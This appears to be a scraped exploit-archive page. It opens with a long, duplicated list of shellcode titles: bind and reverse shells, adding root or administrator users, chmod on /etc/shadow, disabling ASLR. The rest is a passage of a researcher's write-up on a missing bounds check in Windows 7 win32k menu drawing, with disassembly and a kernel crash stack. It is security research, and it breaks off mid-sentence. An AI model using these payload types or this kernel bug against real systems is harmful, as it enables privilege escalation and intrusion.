Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 English - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes) Win32 - Checksum Routine Shellcode (18 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes) Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes) Windows x86 - Checksum Routine Shellcode (18 bytes) Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes) Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes) Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes) Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader Port 0x1337 Shellcode ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader (0x1337/TCP) Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes) Win32 - Speaking 'You got pwned!' Shellcode FreeBSD/x86 - connect back Shellcode (81 bytes) BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes) Win32 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes) Linux/x86 - ASLR deactivation Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator) Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator) BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes) Windows x86 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes) Linux/x86 - Disable ASLR Security Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes) Linux/x86 - Egghunter Shellcode (29 bytes) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes) Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator) Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes) Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes) Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes) Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes) Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes) Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes) Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes) Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes) Windows x64 - Bind TCP Shell Shellcode (508 bytes) Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes) Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes) Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes) Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes) Windows RT ARM - Bind Shell 4444/TCP Shellcode Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode Windows - Messagebox Shellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes) Windows - Add Administrator 'BroK3n' Shellcode (194 bytes) Windows - Messagebox Null-FreeShellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes) Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes) Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes) Linux/x86 - Disable ASLR Shellcode (84 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes) Linux/x86 - Disable ASLR Security Shellcode (84 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes) Win32/XP SP3 - Restart computer Shellcode (57 bytes) Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes) Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes) Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes) Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes) Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes) Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes) Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes) Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes) Linux/x86 - exec('/bin/dash') Shellcode (45 bytes) Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes) Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes) Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes) Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes) Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes) Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes) OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes) Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator) Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator) OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes) Linux/x86-64 - /bin/sh Shellcode (34 bytes) Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes) OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes) Linux/x86-64 - execve /bin/sh Shellcode (34 bytes) Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes) Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python) Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes) Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes) Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes) Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes) Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes) Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes) Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes) Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes) Win32 .Net Framework - Execute Native x86 Shellcode Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator) Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes) Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes) Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes) Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes) BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes) Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shellcode (64 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes) Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes) Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes) Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes) Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes) Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes) Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes) Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes) Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes) Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes) Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes) Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x64 - WinExec() Shellcode (93 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes) Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes) Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes) Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator) Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind TCP Dual/Multi Mode Shell Shellcode (156 bytes) Linux/x86-64 - Reverse TCP Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Windows x86 - Executable Directory Search Shellcode (130 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Flush IPTables Polymorphic Shellcode (47 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse Netcat Polymorphic Shell (127.0.0.1:1234) Shellcode (106 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes) Linux/x86 - Bind Shell Shellcode (44 bytes) Linux/x86 - Bind TCP /bin/sh Random Port Shell Shellcode (44 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Shellcode (67 bytes) Linux/x86 - Reverse /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes) Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Disable ASLR Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Shellcode (113 bytes) Linux/x86 - Disable ASLR Security Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes) Linux/x86-64 - /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) setuid(0) setgid(0) (XOR Encoded) Shellcode (66 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86 - Reverse UDP Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (75 bytes) Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes) Linux x86 - /bin/sh Shellcode (24 bytes) Linux x86 - execve /bin/sh Shellcode (24 bytes) Linux/x86_64 - kill All Processes Shellcode (19 bytes) Linux/x86_64 - Kill All Processes Shellcode (19 bytes) Php Cloud mining Script - Authentication Bypass (Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
251 lines
No EOL
9.9 KiB
Text
Executable file
251 lines
No EOL
9.9 KiB
Text
Executable file
Microsoft Windows win32k!xxxRealDrawMenuItem() missing HBITMAP bounds checks
|
|
----------------------------------------------------------------------------
|
|
|
|
Microsoft produce two builds of each of thier supported operating system, a
|
|
checked build and a free build. The free build is intended for end users, and
|
|
the checked build is intended for low-level developers (note: you would know if
|
|
you were using the checked build). The primary difference between the checked
|
|
and free builds are compiler settings more conducive to debugging and
|
|
additional runtime checks intended to identify programming errors in drivers as
|
|
early as possible.
|
|
|
|
Many of the runtime checks absent from the free build take the form of
|
|
assertions, similar to the standard assert() macro (c programmers will
|
|
recognise this as similar to defining NDEBUG). Most security researchers
|
|
know it's common to find locations in large codebases where developers use an
|
|
assertion to handle error conditions, forgetting that these checks are compiled
|
|
out of production code.
|
|
|
|
On a hunch, I browsed the assertion strings in the checked build looking for
|
|
anything that could be a bounds check, and found a candidate in win32k.sys
|
|
from Windows 7.
|
|
|
|
.text:BF8B83D7 loc_BF8B83D7: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+13Dj
|
|
.text:BF8B83D7 push offset asc_BFA98BB0 ; "Assertion failed: (pItem->hbmp >= HBMME"...
|
|
.text:BF8B83DC push offset aXxxrealdrawmen ; "xxxRealDrawMenuItem"
|
|
.text:BF8B83E1 push 601h ; int
|
|
.text:BF8B83E6 push offset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"...
|
|
.text:BF8B83EB push 1000000h ; int
|
|
.text:BF8B83F0 push ebx ; int
|
|
.text:BF8B83F1 call _VRipOutput
|
|
.text:BF8B83F6 add esp, 18h
|
|
.text:BF8B83F9 test eax, eax
|
|
.text:BF8B83FB jz short loc_BF8B83FE
|
|
.text:BF8B83FD int 3 ; Trap to Debugger
|
|
|
|
And additionally,
|
|
|
|
.text:BF8B83FE loc_BF8B83FE: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+142j
|
|
.text:BF8B83FE ; xxxRealDrawMenuItem(x,x,x,x,x,x)+168j
|
|
.text:BF8B83FE mov edi, [esi+40h]
|
|
.text:BF8B8401 add edi, 4Fh
|
|
.text:BF8B8404 cmp edi, 5Dh
|
|
.text:BF8B8407 jb short loc_BF8B8430
|
|
.text:BF8B8409 push offset asc_BFA98B74 ; "Assertion failed: wBmp < OBI_COUNT"
|
|
.text:BF8B840E push offset aXxxrealdrawmen ; "xxxRealDrawMenuItem"
|
|
.text:BF8B8413 push 604h ; int
|
|
.text:BF8B8418 push offset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"...
|
|
.text:BF8B841D push 1000000h ; int
|
|
.text:BF8B8422 push ebx ; int
|
|
.text:BF8B8423 call _VRipOutput
|
|
.text:BF8B8428 add esp, 18h
|
|
.text:BF8B842B test eax, eax
|
|
.text:BF8B842D jz short loc_BF8B8430
|
|
.text:BF8B842F int 3 ; Trap to Debugger
|
|
|
|
With these tests compiled out, you can pass a pathological HBITMAP and it gets
|
|
trusted without validation. The HBITMAP here is used as an index into
|
|
gpsi->oembmi[] (of type tagSERVERINFO in the public symbols, I assume gpsi is
|
|
global pointer to server info).
|
|
|
|
Reaching this code was non-trivial, but I found a way to trigger it reliably.
|
|
|
|
kd> .lastevent
|
|
Last event: Access violation - code c0000005 (!!! second chance !!!)
|
|
debugger time: Mon Mar 8 23:10:15.892 2010 (GMT+1)
|
|
kd> kv
|
|
ChildEBP RetAddr Args to Child
|
|
981915f4 92b8d4d4 f10105c8 00000002 0000008c win32k!xxxRealDrawMenuItem+0x130 (FPO: [6,47,4])
|
|
981916a4 92adb609 f10105c8 0110007c 981916ec win32k!xxxDrawState+0x1cd (FPO: [8,33,4])
|
|
98191710 92adbdaf f10105c8 fe607468 00000000 win32k!xxxDrawMenuItem+0x3b4 (FPO: [5,14,4])
|
|
9819177c 92bfb448 f10105c8 00000001 fe607920 win32k!xxxMenuDraw+0x1f9 (FPO: [3,17,4])
|
|
981917d4 92b059b8 00000016 f10105c8 00000003 win32k!xxxMenuBarDraw+0x1b9 (FPO: [4,14,4])
|
|
981917fc 92b3b694 0000100c 00000001 00000000 win32k!xxxDWP_DoNCActivate+0xc7 (FPO: [3,1,4])
|
|
98191878 92b02b92 fe607920 00000086 00000001 win32k!xxxRealDefWindowProc+0x7fa (FPO: [SEH])
|
|
9819189c 92b54859 fe607920 00000086 00000001 win32k!xxxDefWindowProc+0x10f (FPO: [4,0,4])
|
|
981918dc 92b546a4 fe607920 00000086 00000001 win32k!xxxSendMessageTimeout+0x1ac (FPO: [8,7,4])
|
|
98191904 92b1728b fe607920 00000086 00000001 win32k!xxxSendMessage+0x28 (FPO: [4,0,0])
|
|
9819197c 92b095c1 00000000 00000c88 00000001 win32k!xxxActivateThisWindow+0x473 (FPO: [3,21,0])
|
|
981919e4 92b091aa fe607920 fe5ad928 00000000 win32k!xxxSetForegroundWindow2+0x3d7 (FPO: [3,18,4])
|
|
98191a24 92b17770 fe607920 00000001 fe5ad928 win32k!xxxSetForegroundWindow+0x1e4 (FPO: [2,8,4])
|
|
98191a50 92b17537 00000000 00000001 fe600618 win32k!xxxActivateWindow+0x1b3 (FPO: [2,4,4])
|
|
98191a64 92afd9dd fe607920 00000000 fe607920 win32k!xxxSwpActivate+0x44 (FPO: [1,0,0])
|
|
98191abc 92b02c98 00000000 fe607920 00000000 win32k!xxxEndDeferWindowPosEx+0x278 (FPO: [2,16,4])
|
|
98191adc 92b2c50e fe607920 00000000 00000000 win32k!xxxSetWindowPos+0xf6 (FPO: [7,1,4])
|
|
98191b18 92b23b0d 00000000 00000005 0ad06a7a win32k!xxxShowWindow+0x25a (FPO: [2,3,4])
|
|
98191c30 92b210b6 00080000 ff9d1d28 fe607250 win32k!xxxCreateWindowEx+0x12ed (FPO: [SEH])
|
|
98191cf0 8285342a 80080000 98191cc0 98191cb4 win32k!NtUserCreateWindowEx+0x2a8 (FPO: [SEH])
|
|
kd> vertarget
|
|
Windows 7 Kernel Version 7600 MP (1 procs) Free x86 compatible
|
|
Product: WinNt, suite: TerminalServer SingleUserTS
|
|
Built by: 7600.16385.x86fre.win7_rtm.090713-1255
|
|
Machine Name:
|
|
Kernel base = 0x82810000 PsLoadedModuleList = 0x82958810
|
|
Debug session time: Mon Mar 8 23:10:12.438 2010 (GMT+1)
|
|
System Uptime: 0 days 0:04:07.341
|
|
|
|
Interestingly, the win32 api required to reach the code (SetMenuItemInfo)
|
|
interferes and rejects my call, so I must make the system call directly. This
|
|
is complicated, as Microsoft provide no stub export in ntdll, so I have to
|
|
invoke it manually. Maybe there's a cleaner way.
|
|
|
|
Because of the additional information compiled into the assertion, I have lots
|
